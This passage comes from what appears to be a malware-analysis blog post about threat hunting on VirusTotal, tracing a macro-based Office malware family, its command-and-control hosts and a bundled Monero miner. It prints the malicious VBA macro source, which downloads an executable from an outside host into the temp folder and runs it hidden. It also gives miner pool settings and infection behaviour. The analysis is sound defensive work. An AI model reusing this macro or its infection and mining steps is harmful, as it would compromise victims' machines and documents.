urity\UBAWarnings", 1, "REG_DWORD"

Call MPS
End Sub

Private Sub App_DocumentBeforeSave(ByVal Doc As Document, SaveAsUI As Boolean, C
ancel As Boolean)
If Closing Then
ActiveDocument.Content.Font.Hidden = True
End If
End Sub

Private Sub App_DocumentBeforeClose(ByVal Doc As Document, Cancel As Boolean)
Closing = True
End Sub

Sub RegKeySave(i_RegKey As String, i_Value As String, Optional i_Type As String
= "REG_SZ")
Dim myWS As Object
Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

Sub MPS()
Dim FS: Set FS = CreateObject("scripting.filesystemobject")
TMP = Environ("Temp") & "\~\$cache1.exe"

If Not FS.FileExists(TMP) Then
Call FDW
If FS.FileExists(TMP) Then
On Error Resume Next
Shell "cmd.exe /c " & TMP, vbHide
End If
Else
On Error Resume Next
Shell "cmd.exe /c " & TMP, vbHide
End If
End Sub

Sub FDW()
Dim URL, TMP As String
URL = "http://xfl.mo0o.com"
TMP = Environ("Temp") & "\~\$cache1.exe"

Set WinHttpRequest = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpRequest Is Nothing Then
Set WinHttpRequest = CreateObject("WinHttp.WinHttpRequest.5")
End If

```

ols

Layout Tell me... Sign in Share

Search oletools

Type	Size
File folder	
File folder	
File folder	
Python File	0 KB
Compiled Python ...	1 KB
Microsoft Word M...	11.478 KB
Microsoft Word D...	13 KB
Text Document	6 KB
VBScript Script File	6 KB
VBScript Script File	8 KB
Microsoft Word D...	13 KB
VBA File	4 KB
Python File	7 KB
Microsoft Word 9...	58 KB
Text Document	3 KB
Python File	15 KB
Python File	17 KB
Python File	15 KB

%100

Job status	Finished
Rules	rule xfl_sifresi : XFL { meta: author = "Mert SARICA (mert.sarica@gmail.com)" version = "0.1" weight = 5 strings: \$a = "xfl.mooco.com" ...
Creation time	Oca. 5, 2019, 8:22 ö.ö.
Finish time	Oca. 5, 2019, 11:48 ö.ö.
Scanned data	420.9 TB
Scanning speed	Calculating...
Matches	24 Download hashes

[Start new job](#)

https://www.virustotal.com/gui/domain/xfl.mooco.com/relations

xfl.mooco.com

Communicating Files				Scanned	Detections	Type	Name
Scanned	Detections	Type	Name	2018-12-01	50 / 67	Win32 EXE	client
2018-12-30	36 / 62	Office Open XML Document	P.06 İzleme ve Ölçme Cihazlarının Kontrolü Prosedürü.docm	2019-01-04	1 / 61	ZIP	eW54eTNBOG02MHUqenU4NHRzcuRRRSDcrbUI3ajJYYWTKcmdYNU82T3J3RT06
2018-12-25	34 / 62	Office Open XML Document	=?UTF-8?Q?S=C4=B0MPRO3I_KULLANIM_KILAVUZU=5FBT=2Eedocm7=	Files Referring			
2018-12-18	33 / 60	Office Open XML Document	P.04 İyi Üretim Uygulamaları (GMP) Prosedürü.docm	Scanned	Detections	Type	Name
2018-12-13	35 / 61	Office Open XML Document	E.1021 SIEMENS ŞALT MALZEME SİPARİŞ LİSTESİ 1.docm	2019-01-04	37 / 60	MS Word Document	vbaProject.bin
2018-12-01	34 / 59	Office Open XML Document	T.24 YANGIN TALİMATI.docm	2019-01-04	37 / 60	MS Word Document	vbaProject.bin
2018-11-08	34 / 61	Office Open XML Document	PG.04 PERSONEL HİJYEN SANİTASYON PROGRAMI.docm	2019-01-04	35 / 61	Office Open XML Document	PG.05 ÖN GEREKSİNİM PROGRAMI.docm
2018-11-08	32 / 59	Office Open XML Document	HEK.EK.01 HACCP POLİTİKASI.docm	2019-01-03	38 / 60	MS Word Document	vbaProject.bin
2018-11-05	31 / 61	Office Open XML Document	PL.04 ACIL DURUM PLANI.docm	2019-01-03	37 / 61	MS Excel Spreadsheet	vbaProject.bin
2018-11-05	25 / 61	Office Open XML Document	T.03 DEPOLAMA TALİMATI.docm	2019-01-03	35 / 58	MS Excel Spreadsheet	vbaProject.bin
2018-10-30	25 / 60	Office Open XML Document	P.02 DOĞRULAMA VE GEÇERLİ KILMA PROSEDÜRÜ.docm	2019-01-03	37 / 60	MS Word Document	vbaProject.bin
2018-10-26	32 / 61	Office Open XML Spreadsheet	F-28 Sevkiyat Formu.xlsx	2019-01-03	35 / 57	MS Word Document	vbaProject.bin
				2019-01-03	37 / 59	MS Word	vbaProject.bin

Date	Score	File Name	File Type	File Size	File Path
2018-10-30	25 / 60	Office Open XML Document P.02 DOĞRULAMA VE GEÇERLİ KILMA PROSEDÜRÜ.docm	MS Word Document	35 / 57	vbaProject.bin
2018-10-26	32 / 61	Office Open XML Spreadsheet F-28 Sevkiyat Formu.xlsm	MS Word Document	37 / 59	vbaProject.bin
2018-10-19	32 / 59	Office Open XML Spreadsheet F.04 KIRIK CAM VE SERT PLASTİK KONTROL FORMU.xlsm	MS Word Document	37 / 60	f059bf54fce1ed06cf1df9669ee2310.virobj
2018-12-23	33 / 60	Office Open XML Spreadsheet F.13.2TEMİZLİK KONTROL FORMU.xlsm	MS Word Document	39 / 61	vbaProject.bin
2018-10-06	29 / 62	Office Open XML Document T.21 İŞÇİ SAĞLIĞI VE İŞ GÜVENLİĞİ KURALLARI TALIMATI.docm	MS Word Document	37 / 59	vbaProject.bin
2018-11-15	35 / 60	Office Open XML Document T.08 LAVABO HÜYEN TALIMATI.docm	MS Word Document	39 / 61	vbaProject.bin
2018-10-16	31 / 60	Office Open XML Document GT.01 GENEL MÜDÜR.docm	MS Excel Spreadsheet	36 / 59	vbaProject.bin
2018-09-26	22 / 61	Office Open XML Document T.22 İLK YARDIM TALIMATI.docm	MS Word Document	35 / 59	vbaProject.bin
2018-10-20	26 / 60	Office Open XML Document 15c0eb8bf15d48452f9b833994330bf0.virobj	MS Word Document	39 / 61	vbaProject.bin
2018-09-26	22 / 61	Office Open XML Document T.18 CAM KONTROL TALIMATI.docm	unknown	37 / 59	vbaProject.bin
2018-09-26	21 / 62	Office Open XML Spreadsheet FR-09 GÜNLÜK ÜRETİM VE KALİTE KONTROL RAPORU.xlsm	MS Word Document	38 / 61	vbaProject.bin
2018-09-26	21 / 61	Office Open XML Document F.26 GİRDİ ÜRÜN KONTROL FORMU.docm	MS Word Document	37 / 59	vbaProject.bin
2019-01-03	34 / 57	MS Word Document	MS Word Document		vbaProject.bin

The screenshot shows a Windows File Explorer window with the address bar set to 'sistemi \ TALİMATLAR'. The file list includes several documents, with 'T.14 AMBALAJ ODASI KULLANMA VE TEMİZLİK TALIMATI.docm' highlighted. A red arrow points to this file. A property dialog box is open for this file, showing the 'Origin' as 'WinServer'.

Property	Value
Title	
Subject	
Tags	
Categories	
Comments	
Origin	WinServer
Authors	WinServer
Last saved by	
Revision number	114
Version number	
Program name	Microsoft Office Word
Company	
Manager	
Content created	31.03.2018 00:13
Date last saved	11.06.2018 02:15
Last printed	
Total editing time	22:23:00

When I conducted a search specifically for the web address [http://xfl\[.\]moo.com](http://xfl[.]moo.com) and the associated resolved IP addresses, I came across the "srin2" file that was downloaded from one of the IP addresses. I downloaded the file and opened it using the 7-Zip tool, and upon examining

the "config.json" file, it became apparent that it was a software used for mining Monero digital currency.

The screenshot shows the VirusTotal interface for a file analysis. At the top, a red circle indicates a score of 50 out of 67. A red banner states "50 engines detected this file". The file name is 055d4b6e6d189ff1f89bedf51e83a74c6f0a83da629c27da7a4570f142d2aad3, with a size of 699.5 KB and a submission date of 2018-12-01 00:45:15 UTC. The file is identified as a "client" with a "peexe" signature. The "RELATIONS" tab is active, showing a graph summary with 2 similar files, 3 ITW URLs, and 1 ITW domain. To the right, the "ITW URLs" table lists three URLs with their respective scan dates and detection counts.

Scanned	Detections	URL
2018-12-30	13 / 68	http://140.82.59.108/client
2019-01-03	5 / 67	http://xfl.mooco.com/
2018-11-23	6 / 66	http://45.76.3.86/client

Owner	Description

The screenshot shows the VirusTotal interface for an IP address analysis. The IP address is 140.82.59.108, located in the US. A blue banner indicates "4 detected URLs under this IP address". The "RELATIONS" tab is active, showing a graph summary with 2 resolutions, 4 URIs, 1 communicating file, and 2 downloaded files. To the right, the "Passive DNS Replication" table lists two domains with their resolution dates. Below that, the "URLS" table lists four URLs with their scan dates and detection counts. At the bottom, the "Communicating Files" table lists one file.

Date resolved	Domain
2018-12-26	xred.mooco.com
2018-07-31	puppet-master.io

Scanned	Detections	URL
2019-01-01	4 / 67	http://140.82.59.108/
2018-12-30	13 / 68	http://140.82.59.108/client
2018-12-28	12 / 69	http://140.82.59.108/srim2
2018-12-24	2 / 66	http://xred.mooco.com/

Scanned	Detections	Type	Name
2018-11-05	47 / 68	Win32 EXE	G130.6.1.1.exe

45.76.3.86 x

No interesting sightings for this IP address

Community Score 45.76.3.86

RELATIONS COMMUNITY

Graph Summary

4 urls

3 downloaded files

Scanned	Detections	URL
2019-01-02	1 / 66	http://45.76.3.86/
2018-12-24	8 / 67	http://45.76.3.86/srim2
2018-11-23	6 / 66	http://45.76.3.86/client
2018-08-07	2 / 68	http://45.76.3.86/config

Scanned	Detections	Type	Name
2018-12-01	50 / 67	Win32 EXE	client
2018-10-05	36 / 69	Win32 EXE	srim2
2018-07-25	46 / 66	Win32 EXE	client

```

8     "ip6": false,
9     "restricted": true
10  },
11  "asm": true,
12  "autosave": true,
13  "av": 0,
14  "background": true,
15  "colors": true,
16  "cpu-affinity": null,
17  "cpu-priority": null,
18  "donate-level": 1,
19  "huge-pages": true,
20  "hw-aes": null,
21  "log-file": null,
22  "max-cpu-usage": 50,
23  "pools": [
24    {
25      "url": "xmr-eu1.nanopool.org:14444",
26      "user":
27
28      "pass": "x",
29      "rig-id": null,
30      "nicehash": false,
31      "keepalive": true,
32      "variant": -1,
33      "tls": false,
34      "tls-fingerprint": null
35    }
36  ],
37  "print-time": 60,
38  "retries": 60,
39  "retry-pause": 10,
40  "safe": false,
41  "threads": null,
42  "user-agent": null,
43  "watch": false

```

After deciding to take a brief look at the “client.exe” file, I began analyzing it using IDA Pro and Interactive Delphi Reconstructor tools. Here are the noteworthy findings:

1. After executing “cache1.exe,” it copies itself to the path

C:\Users\admin\AppData\Local\Google Chrome Helper\chromehelper.exe.

2. It communicates with the following URLs: [http://xredini\[.\]mooo.com](http://xredini[.]mooo.com) , [http://140\[.\]82.59.108/config](http://140[.]82.59.108/config), and [http://45\[.\]76.3.86/min](http://45[.]76.3.86/min).
3. Decoding hidden strings with the help of IDAPython revealed the addresses [xred\[.\]mooo.com](http://xred[.]mooo.com) , [xredini\[.\]mooo.com](http://xredini[.]mooo.com), and [xfl\[.\]mooo.com](http://xfl[.]mooo.com) among the character strings.
4. It is capable of creating a scheduled task to create a Google Chrome Helper Update entry.
5. After finding files with the extensions `.xls`, `.xlsx`, `.doc`, `.docx`, it copies their contents to an Office file with a macro extension (e.g., `docm`, `xlsm`) created in the `%TEMP%` folder, replacing the original files with copies of the original files but with the names of the original files. (For example, it deletes the "Mert.docx" file on the desktop and creates "Mert.docm" in its place, copying the content of "Mert.docx" into it.)
6. It locates and modifies all executable files (`exe`) on the system, replacing them with the modified files. Upon execution, it runs both the original file and the malicious Office files (opened in the `%TEMP%` folder) in the Resource Directory section.
7. When searching for the character string "ABvgjdfL+hpQCgCT42Vd06m4GD" in VirusTotal, I came across numerous samples infected with this malware. These findings provide valuable insights into the behavior and capabilities of the analyzed "client.exe" file.

Interactive Delphi Reconstructor by crypto: C:\Users\Mert\Desktop\client.exe (Delphi-7)

File Tools Tabs Plugins Program

Units (F2) Types (F4) Forms (F5) CodeViewer (F6) ClassViewer (F7) Strings (F8) Names (F9) SourceCode (F10)

00401000 <Enumeration> Boolean
 00401028 <Char> Char
 0040103C <Integer> Integer
 00401054 <Integer> Byte
 00401068 <Integer> Word
 0040107C <Integer> Cardinal
 00401094 <AnsiString> String
 004010A0 <WideString> WideString
 004010B0 <Variant> Variant
 004010C0 <Variant> OleVariant
 004010D0 <VMT> TObject
 00401124 <Class> TObject (System)
 00401144 <Interface> IInterface (S
 004011C4 <VMT> TInterfacedObject
 004072FC <Enumeration> Enum_4_1
 004073AC <Set> TOwnerDrawState
 004084B0 <VMT> Exception
 00408518 <VMT> EAbort
 0040856C <VMT> EHeapException
 004085C8 <VMT> EOutOfMemory
 00408624 <VMT> EInOutError
 0040867C <VMT> EExternal
 004086D4 <VMT> EExternalException
 00408734 <VMT> EIntError
 0040878C <VMT> EDivByZero
 004087E4 <VMT> ERangeError
 0040883C <VMT> EIntOverflow
 00408898 <VMT> EMathError
 004088F0 <VMT> EInvalidOp
 00408948 <VMT> EZeroDivide
 004089A0 <VMT> EOverflow
 004089F8 <VMT> EUnderflow
 00408A50 <VMT> EInvalidPointer
 00408AAC <VMT> EInvalidCast
 00408B08 <VMT> EConvertError
 00408B64 <VMT> EAccessViolation

<AnsiString> 'Sealed-case PC'
 <AnsiString> 'Multi-system chassis'
 <AnsiString> 'Compact PCI'
 <AnsiString> 'Advanced TCA'
 <AnsiString> 'Blade'
 <AnsiString> 'Blade Enclosure'
 <AnsiString> 'C:\Apps\Delphi Project\Xred57\w-110\Server\PJResFile.pas
 <AnsiString> 'Assertion failure'
 <AnsiString> 'C:\Apps\Delphi Project\Xred57\w-110\Server\PJResFile.pas
 <AnsiString> 'Assertion failure'
 <AnsiString> 'I'
 <AnsiString> 'I'
 <AnsiString> 'I'
 <AnsiString> '+R/+YbvX0cr1U/qzI1mjnCsSPiUtARo81HFJZPQr9eLv+2cpsBPx+3E'
 <AnsiString> 'WOL'
 <AnsiString> 'ab9mJBr4B10eQ5q5a7H+6+uq4iSi8F+Bs8Y1Aa/U'
 <AnsiString> 'Ati Update Service'
 <AnsiString> 'XP'
 <AnsiString> 'apdo/C0t92xh/HUKGNqUud04QSa9ipDMUIa2SAABRoIar0SqBRSOTR5t
 <AnsiString> '%s\%s'
 <AnsiString> 'DispIauName'
 <AnsiString> 'W9z4RTcu'
 <AnsiString> 'LapTop'
 <AnsiString> 'qNRELSPCF i6BksF'
 <AnsiString> 'XP'
 <AnsiString> 'apdo/C0t92xh/HUKGNqUud04QSa9ipDMUIa2SAABRoIar0SqBRSOTR5t
 <AnsiString> 'BR5Um0cvJC'
 <AnsiString> '0000:59'
 <AnsiString> 'Gtj7TIHdMA'
 <AnsiString> 'FluFmWn/6HPLPiYn'
 <AnsiString> 'SYSTEM'
 <AnsiString> 'sFW0nuXbcIE'
 <AnsiString> '%s "%s"'
 <AnsiString> 'C:\'
 <AnsiString> 'Google Chrome Helper'
 <AnsiString> 'xN1 i7T0tbq0IK1mMND'
 <AnsiString> 'xN1 i7PwHH7uL2k3Ar1370A'
 <AnsiString> 'xdkUv8odTXKqXa00'
 <AnsiString> 'qRBLieb8u+W0x4DADvNvqC'
 <AnsiString> 'Me'

IDA - client.exe C:\Users\Mert\Desktop\client.exe

File Edit Jump Search View Debugger Options Windows Help

Library function Regular function Instruction Data Ur

Functions window

Function name

- GetFullPathNameA
- GetIconInfo
- GetKeyNameTextA
- GetKeyState
- GetKeyboardLayout
- GetKeyboardLayoutList
- GetKeyboardState
- GetKeyboardType
- GetLastActivePopup
- GetLastError
- GetLastError_0
- GetLocalTime
- GetLocaleInfoA
- GetLocaleInfoA_0
- GetLongPathNameA
- GetMenu

Graph overview

RDG Packer Detector v0.7.6 Vx Edition 2017

C:\Users\Mert\Desktop\client.exe x32 Open

Borland Delphi v6.0 - v7.0

Nada

Compiler Detected Possible

Contact: Ent

File scanned in .01 Seg. Detect

```

sub_45743C proc near
push ebx
push esi
mov esi, edx
mov ebx, eax
mov ecx, esi
mov dx, 925h
mov eax, ebx
call sub_45703C
pop esi
pop ebx
retn
sub_45743C endp
  
```

100.00% (-334, -135) (781, 366) 0005683C 0045743C: sub_45743C (Synchronized with Hex View-1)

Output window

451704: 05-01-2019 18:15:39 decompiling (0)...

451868: 05-01-2019 18:15:39 decompiling (1;usedcpu 00:00:00) int __usercall@eax(int a1@eax, int a2@edx)

05-01-2019 18:15:39 The application has been completely decompiled.

Caching 'Functions window'... ok

Python

AU: idle Down Disk: 12GB

The screenshot shows the IDA Pro interface with the following components:

- Disassembly View:**

```

CODE:0047DE66 dec     ecx
CODE:0047DE67 jnz     short loc_47DE68
CODE:0047DE6F push   ecx
CODE:0047DE70 mov     eax, offset dword_47DB50
CODE:0047DE71 call   sub_497288
CODE:0047DE72 xor     eax, eax
CODE:0047DE73 push   ebp
CODE:0047DE74 push   offset loc_47DF90
CODE:0047DE75 push   dword ptr fs:[eax]; uExitCode
CODE:0047DE76 mov     fs:[eax], esp
CODE:0047DE77 lea   ebx, [ebp+var_1C]
CODE:0047DE78 call   sub_47DA14
CODE:0047DE79 mov     eax, [ebp+var_1C]
CODE:0047DE7A lea   edx, [ebp+var_18]
CODE:0047DE7B call   sub_4B9F4C
CODE:0047DE7C mov     eax, [ebp+var_18]
CODE:0047DE7D lea   edx, [ebp+var_14]
CODE:0047DE7E call   sub_4B9D1C
CODE:0047DE7F mov     ebx, [ebp+var_14]
CODE:0047DE80 mov     eax, offset dword_4B210C

```
- General registers:** Shows registers like EAX, ECX, EDI, etc., with their current values.
- Stack view:** Shows stack frames with addresses like 0018D2AC and 0047DF90.
- Output window:** Contains decoded strings such as "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" and "SOFTWARE\Microsoft\Windows\CurrentVersion\Run".

The screenshot shows a Windows Explorer window displaying a file list and a properties dialog for the file 'tt9ff.docm'.

File List:

Name	Date modified	Type	Size
tt9ff.docm	21.01.2019 20:57	Microsoft Word M...	26 KB
~\$cache1.exe	21.01.2019 20:57	Application	11 KB
{D450B6A4-09D7-4DA9-B2DA-93CB0F4F...}	21.01.2019 20:56	DAT File	0 KB
6gwOsN.ico	13.01.2019 22:28	Icon	0 KB
6gwOsN.exe	13.01.2019 22:28	Application	39.682 KB
XhqRQy.ico	13.01.2019 22:28		
XhqRQy.exe	13.01.2019 22:28		
IYIRa6.ico	13.01.2019 22:28		
IYIRa6.exe	13.01.2019 22:28		
EFXEi6.ico	13.01.2019 21:42		
EFXEi6.exe	13.01.2019 21:42		
Pwe5k3.exe	13.01.2019 21:42		
Pwe5k3.ico	13.01.2019 21:42		
G3Hiqb.ico	13.01.2019 21:42		
G3Hiqb.exe	13.01.2019 21:42		
{E86971A3-A4A3-4A8F-A650-69C2B48AC...}	13.01.2019 21:39		
zGwHqQ.exe	13.01.2019 21:31		
zGwHqQ.ico	13.01.2019 21:31		
TZfVCj.exe	13.01.2019 21:31		
TZfVCj.ico	13.01.2019 21:31		
uKf9t6.exe	13.01.2019 21:31		
uKf9t6.ico	13.01.2019 21:31		
4Fefv8.exe	13.01.2019 21:30		
CdX.xml	13.01.2019 17:07		
AdobeARM.log	13.01.2019 12:45		
AdobeARM_NotLocked.log	05.01.2019 21:31		
dd_vcredist_amd64_20190105212954.log	05.01.2019 21:30		
au-descriptor-1.8.0_191-b12.xml	05.01.2019 21:19		
jusched.log	05.01.2019 21:19		
dd_vcredist_amd64_20190105211043.log	05.01.2019 21:11		
dd_vcredist_amd64_20190105211103.log	05.01.2019 21:11		

tt9ff.docm Properties Dialog:

Property	Value
Description	
Title	
Subject	
Tags	
Categories	
Comments	
Origin	
Authors	WinServer
Last saved by	WinServer
Revision number	112
Version number	
Program name	Microsoft Office Word
Company	
Manager	
Content created	31.03.2018 00:13
Date last saved	19.05.2018 01:16
Last printed	
Total editing time	22:23:00

Windows Explorer window showing a file list in the Temp folder. The file **6gwOsN.exe** is selected. Overlaid on top is the **CFF Explorer VIII** window, which displays the PE header information for **6gwOsN.exe**.

CFF Explorer VIII - [6gwOsN.exe]

File Settings ?

Resource Directory

- Resource Directory Entry 1, ID: 2, AKA: Bitmaps
- Resource Directory
- Resource Directory Entry 2, ID: 3, AKA: Icons
- Resource Directory
- Resource Directory Entry 3, ID: 10, AKA: RCData
- Resource Directory
- Resource Directory Entry 1, Name: CX
- Resource Directory Entry 2, Name: EX
- Resource Directory Entry 3, Name: KD
- Resource Directory Entry 4, Name: TK
- Resource Directory Entry 5, Name: TMAINFORM
- Resource Directory Entry 6, Name: VR
- Resource Directory Entry 7, Name: WR
- Resource Directory Entry 4, ID: 14, AKA: Icon Groups
- Resource Directory
- Resource Directory Entry 1, Name: MAINICON
- Resource Directory
- Resource Directory Entry 5, ID: 16, AKA: Version Info
- Resource Directory

Member	Offset	Size	Value
Name	000822A8	Dword	800003D2
OffsetToData	000822AC	Dword	800001D0

Browser address bar: <https://www.virustotal.com/gui/search/WinServer/files>

Navigation icons and user profile: Mert SARICA

Search results for **WinServer** showing a list of files with their hashes, sizes, and submission dates.

File Hash	Size	Submission Date	Submitters
ab2ef6874d0b0c90582b98c4b10a2551f5283cbce221c0d086e480a3111	25.68 KB	2018-12-20 10:33:08	1 submitters
50b7307672b68904dcf199cb5c61b834b22ba823a0bf9089829d5bc8734	11.21 MB	2018-12-10 14:21:32	1 submitters
38c4e3a9a704e70c3ebd95fa2c84fa7c4162a7424889b8e5b19d785941103b	36.18 KB	2018-12-10 14:11:36	1 submitters
40724df6768cee57bfaaa11ef416c012207ec286d3893e4d76bad7ae799405	34.62 KB	2018-11-23 11:30:34	1 submitters
3d10d9e7ca227011e26edc39b4c33de968511994d2a080bc0ee80892b6ec68ec	36.77 KB	2018-09-26 06:45:40	2 submitters
ccb443c13a91170e070ed0211b5cb46bd18b2a4f9659687c644395fa14b4928	36.89 KB	2018-09-26 06:42:56	2 submitters
1ac40e0039967b17656880b4cb8e3a5a4188196928744701e0a36418744c	40.49 KB	2018-09-26 06:46:32	1 submitters

File Name	Hash	Size	Submitted	First Seen	Last Seen	Submitters	Icon
peexe	17889eb9b0694b817884991b2e2384ba90a7277c4b587c72478bcd95628d310	1.33 MB	17 / 66	2018-05-24 00:37:43	last seen	1 submitters	EXE
vcredist_x64.exe	17889eb9b0694b817884991b2e2384ba90a7277c4b587c72478bcd95628d310	610.5 KB	53 / 68	2018-05-24 01:58:27	2018-05-24 02:01:36	4 submissions 1 submitters	EXE
peexe	b5b139955096eb0e24a138e9647ca1fff29cc5f16924a6ba17efcd1d5ab5f	609 KB	49 / 64	2018-05-24 02:01:44	2018-05-24 02:02:47	2 submissions 1 submitters	EXE
NDP47-KB3186500-Web.exe	b5b139955096eb0e24a138e9647ca1fff29cc5f16924a6ba17efcd1d5ab5f	609 KB	49 / 64	2018-05-24 02:01:44	2018-05-24 02:02:47	2 submissions 1 submitters	EXE
peexe	89e5fac50b5f9e1f8bbd2f594b46c3f6e9b3c936b256a5fc5d184f36e42da	3.97 MB	31 / 66	2018-05-24 10:46:50	2018-05-24 10:46:50	1 submissions 1 submitters	EXE
TSSol.exe	89e5fac50b5f9e1f8bbd2f594b46c3f6e9b3c936b256a5fc5d184f36e42da	3.97 MB	31 / 66	2018-05-24 10:46:50	2018-05-24 10:46:50	1 submissions 1 submitters	EXE
peexe	ebe998c5f19e6eb2b088b34b11f962f28d4f5b8a3f90e261f2d04d8d0e89f1	1.71 MB	28 / 66	2018-05-24 20:35:11	2018-05-24 20:35:11	1 submissions 1 submitters	EXE
WZ.exe	ebe998c5f19e6eb2b088b34b11f962f28d4f5b8a3f90e261f2d04d8d0e89f1	1.71 MB	28 / 66	2018-05-24 20:35:11	2018-05-24 20:35:11	1 submissions 1 submitters	EXE
peexe	77289a33d3eee05e7a78c7c5b7e479041211527666a14cc8827a2372e1bbf307	2.83 MB	19 / 66	2018-05-24 22:55:50	2018-05-24 22:55:50	1 submissions 1 submitters	EXE
chromehelper.exe	77289a33d3eee05e7a78c7c5b7e479041211527666a14cc8827a2372e1bbf307	2.83 MB	19 / 66	2018-05-24 22:55:50	2018-05-24 22:55:50	1 submissions 1 submitters	EXE
peexe	d4debf0eca3fed4290e01930d1be05f03a074af90b2d534faab24720927ac	764 KB	48 / 69	2018-05-25 06:31:03	2018-05-25 06:31:03	1 submissions 1 submitters	EXE
ExtremeTeam & LifeTeamGuard Exploit Programmer V1.exe	d4debf0eca3fed4290e01930d1be05f03a074af90b2d534faab24720927ac	764 KB	48 / 69	2018-05-25 06:31:03	2018-05-25 06:31:03	1 submissions 1 submitters	EXE
peexe	e34407be6a802fe6d433a3dd8dbfcf39f5c6c373638c7f5c446372b3ec625d	1.84 MB	44 / 67	2018-05-25 15:06:53	2018-05-25 15:06:53	1 submissions 1 submitters	EXE
peexe	0734c73b282e04d42015b20a82dbc850cba23299d9d52617e9485b4d10f33c	1.78 MB	22 / 66	2018-05-25 15:10:14	2018-05-25 15:10:14	1 submissions 1 submitters	EXE

ABvgjdfL+hpQCgCT42VdO
6m4GD

In conclusion, by conducting threat hunting on VirusTotal, your organization can become aware of planned cyber attacks and social engineering attempts targeting your institution. Additionally, it allows your analysts to analyze the samples identified during threat hunting, helping them develop expertise in malware analysis.

Hope to see you in the following articles.